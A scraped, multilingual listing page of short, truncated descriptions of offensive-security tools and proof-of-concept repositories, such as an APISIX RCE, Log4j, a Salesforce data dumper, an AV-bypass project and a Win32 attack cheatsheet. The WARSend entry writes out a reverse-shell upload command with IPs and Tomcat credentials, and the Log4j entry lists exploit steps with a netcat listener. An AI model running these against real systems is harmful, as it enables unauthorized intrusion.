CVE-2022-24112-POC

CVE-2022-24112-POC Apache APISIX 2.12.1에서 IP 제한 우회 및 기본 관리자 AIP 토큰 사용을 통한 원격 코드 실행 전체 설명 https://kavigihan.medium.com/apache-apisix-2-12-1-remote-code-execution-5f920b22ccff...

Log4j

샘플 취약 애플리케이션을 생성합니다 . 2. netcat 리스너를 시작합니다 . 3. 익스플로잇을 실행합니다 . 4. 더 나은 결과를 위해 jdk1.8.020을 사용하세요 . Exploit-db - https://www.exploit-db.com/exploits/50592...

heimdall_webserver

주의, 이 프로젝트는 베타 버전입니다. 많은 버그와 문제가 있습니다. 프로젝트를 도우려면 실 환경이 아닌 실습 환경에서 사용하세요. 아니요, 아직 HTTPS가 구현되지 않았습니다. 다음 업데이트에서 제공될 예정입니다. Heimdall 닉스 서버의 취약한 패키지를 중앙에서 관리하는 도구입니다. 시작하기 전에 root@kitploit: Python pip가 설치되어 있어야 합니다. 다음 명령어로 확인하세요. which pip pip가 설치되어 있다면 다음을 실행하세요. pip install -U pip pip가 설치되어 있지 않다...

heimdall_webserver

ATTENTION, this project is on a beta version, there's a lot of bugs and problem, if you want to help the project use this on a lab not in yout real environment. NO, there's not https implemented yet, it will come on the next upgrade Heimdall It's a tool to manage vulnerables packages in your nix...

wpCrack

wpCrack v1.0 버전 1.0 설치 git clone https://github.com/MrSqar-Ye/wpCrack.git WordPress 해시 크래커 비디오 연락처 : 트위터 : @M4DM0E 내 이메일로 보내기...

peniot

PENIOT: Penetration Testing Tool for IoT Table of Contents Project Description What is PENIOT? Why is PENIOT required? What does PENIOT provide? Build Instructions Documentation Testing Contributors Developer's Note Project Poster Project Description What is PENIOT? PENIOT is a penetration testin...

peniot

PENIOT: IoT 침투 테스트 도구 목차 프로젝트 설명 PENIOT이란? PENIOT이 왜 필요한가? PENIOT은 무엇을 제공하는가? 빌드 방법 문서 테스트 기여자 개발자 노트 프로젝트 포스터 프로젝트 설명 PENIOT이란? PENIOT는 사물인터넷IoT 기기를 위한 침투 테스트 도구입니다. 이 도구는 인터넷 연결성을 대상으로 다양한 유형의 보안 공격을 통해 기기를 테스트/침투할 수 있도록 도와줍니다. 즉, 기기를 능동적 및 수동적 보안 공격 모두에 노출시킬 수 있습니다. 대상 기기와 해당 기기의 필요한 정보또는 매개변수...

PSSW100AVB

⚡ PSSW100AVB ⚡ PowerShell 検知回避 & サンドボックス研究 PowerShell スクリプト 100% AV バイパス PSSW100AVB リポジトリ 行動分析 • AV 研究 • 敵対的シミュレーション...

zeroboot

AI 에이전트를 위한 서브 밀리초 VM 샌드박스 copy-on-write 포킹 방식 사용해보기 root@kitploit: curl -X POST https://api.zeroboot.dev/v1/exec \ -H 'Content-Type: application/json' \ -H 'Authorization: Bearer zbdemohn2026' \ -d '"code":"import numpy as np; printnp.random.rand3"' 벤치마크 Metric| Zeroboot| E2B| microsandbox|...

discover

root@kitploit: Custom bash scripts used to automate various penetration testing tasks including recon, scanning, enumeration, and malicious payload creation using Metasploit. For use with Kali Linux or Ubuntu. Lee Baird @discoverscripts Jay "L1ghtn1ng" Townsend @jaytownsend1 Jason Ashton @ninewir...

discover

root@kitploit: Custom bash scripts used to automate various penetration testing tasks including recon, scanning, enumeration, and malicious payload creation using Metasploit. For use with Kali Linux or Ubuntu. Lee Baird @discoverscripts Jay "L1ghtn1ng" Townsend @jaytownsend1 Jason Ashton @ninewir...

PetitPotato

PetitPotato PetitPotam을 이용한 로컬 권한 상승 가장impersonate 권한 악용. Description PetitPotam은 네트워크를 통해 원격으로 액세스되는 원격 저장소의 암호화된 데이터에 대한 유지 관리 및 관리 작업을 수행하는 데 사용되는 프로토콜인 MS-EFSREncrypting File System Remote을 사용합니다. MS-EFSR에는 EfsRpcOpenFileRaw와 유사한 일련의 API가 있습니다. EfsRpcOpenFileRaw API의 구문은 다음과 같습니다...

poc_salesforce_lightning

Salesforce lightning용 PoC 학술 목적으로만 사용. 이 도구는 게스트 권한을 이용해 Aura lightning 엔드포인트를 통해 Salesforce 객체의 데이터를 덤프합니다. 지저분한 코드지만 양해해줘 요구 사항 Python3 사용법 root@kitploit: $ python3 exploit.py -h usage: exploit.py -h -u URL -o OBJECTS OBJECTS ... -l -c -a AURACONTEXT -r RECORDID -d -f -s Exploit Salesforce...

static-file-checker

static-file-checker nucleiを使用して、Djangoの/static/staticfiles.json内の露出した認証情報をチェックします。...

Ukraine-Cyber-Operations

우크라이나 사이버 작전 Curated Intelligence는 추가적인 무료 위협 인텔리전스를 찾는 우크라이나의 조직에 유용한 정보를 제공하기 위해 전 세계의 분석가들과 협력하고 있습니다. Slava Ukraini. 우크라이나에 영광을. 블로그 | 트위터 | LinkedIn 리소스 2022년 위협 보고서 타임라인 1월 위협 보고서 2월 위협 보고서 3월 위협 보고서 4월 위협 보고서 5월 위협 보고서 6월 위협 보고서 7월 위협 보고서 8월 위협 보고서 9월 위협 보고서 10월 위협 보고서 11월 위협 보고서 12월 위협 보고...

OpenSSL-1_0_1g_CVE-2015-3194

OpenSSL 1.0.1g 7 Apr 2014 Copyright c 1998-2011 The OpenSSL Project Copyright c 1995-1998 Eric A. Young, Tim J. Hudson All rights reserved. 설명 OpenSSL 프로젝트는 견고하고, 상업용 수준의, 완전한 기능을 갖춘 오픈 소스 툴킷을 개발하기 위한 협력적인 노력입니다. 이 툴킷은 SSL v2/v3 및 TLS v1 프로토콜과 함께 강력한 범용 암호화 라이브러리를 구현합니다. 프로젝트는 인터넷을 통해 의사소통하고, 계획하...

warsend

WARSend Apache Tomcat Manager API WAR 쉘 업로드 사전 요구 사항 자격 증명 Tomcat Manager에 대한 Text API 액세스 root@kitploit: $ ./warsend.sh 10.10.14.232 8090 10.10.10.184 8080 tomcat $3cureP4s5w0rd! revshell | | / / | / / / / / | | /| / / /| | / // /\ / / / / | |/ |/ / |/ , // / / / / / // / |/|// |// ||////...

p2p

P2P 원격 데스크톱 P2P 기반 원격 데스크톱 - 휴대용, 구성 또는 설치 불필요. 작동 방식 서로 다른 2대의 PC에서 p2p.exe를 관리자 권한으로 컴파일하고 실행합니다. My Lan or Wan IP를 복사하여 다른 피어에게 전달하고, 그 반대도 마찬가지로 수행합니다. 이제 두 피어는 연결할 2개의 엔드포인트를 가지게 되므로, 양쪽 모두에서 Connect를 누릅니다. 이제 두 피어는 서로 메시지 전송을 하거나 원격 데스크톱 제어를 할 수 있습니다. UDT 프로토콜을 사용하며 rendezvous 연결 덕분에 대부분의 방...

BKScan

BKScan BlueKeepCVE-2019-0708 스캐너로, 인증 없이unauthenticated와 인증authenticated 상태 모두에서 작동합니다. 즉, 네트워크 수준 인증NLA이 활성화된 경우에도 작동합니다. 요구 사항: Windows RDP 서버 RDP 서버에서 NLA가 활성화된 경우, "Remote Desktop Users" 그룹에 속한 유효한 사용자/비밀번호 이 도구는 FreeRDP를 기반으로 하며, 컴파일/실행을 쉽게 하기 위해 Docker를 사용합니다. 모든 UNIX 환경에서 동작해야 하며 주로...

Win32_Offensive_Cheatsheet

Win32 공격용 치트시트 모의 침투 테스터와 레드 팀원을 위한 Win32 및 커널 악용 기술, @UVision과 @RistBS 제작 개발 모드 활성화, 어떤 도움이라도 환영합니다 : Windows 바이너리 문서 PE 구조 PE 헤더 PE 파싱 내보내기 주소 테이블 EAT 함수 주소 확인 가져오기 주소 테이블 IAT IAT 파싱 가져오기 조회 테이블 ILT SeDebug 권한 활성화 바이너리 실행 클래식 셸코드 실행 DLL 실행 RAW 파일을 PE로 코드 인젝션 기술 CreateRemoteThread 인젝션 프로세스 할로잉 A...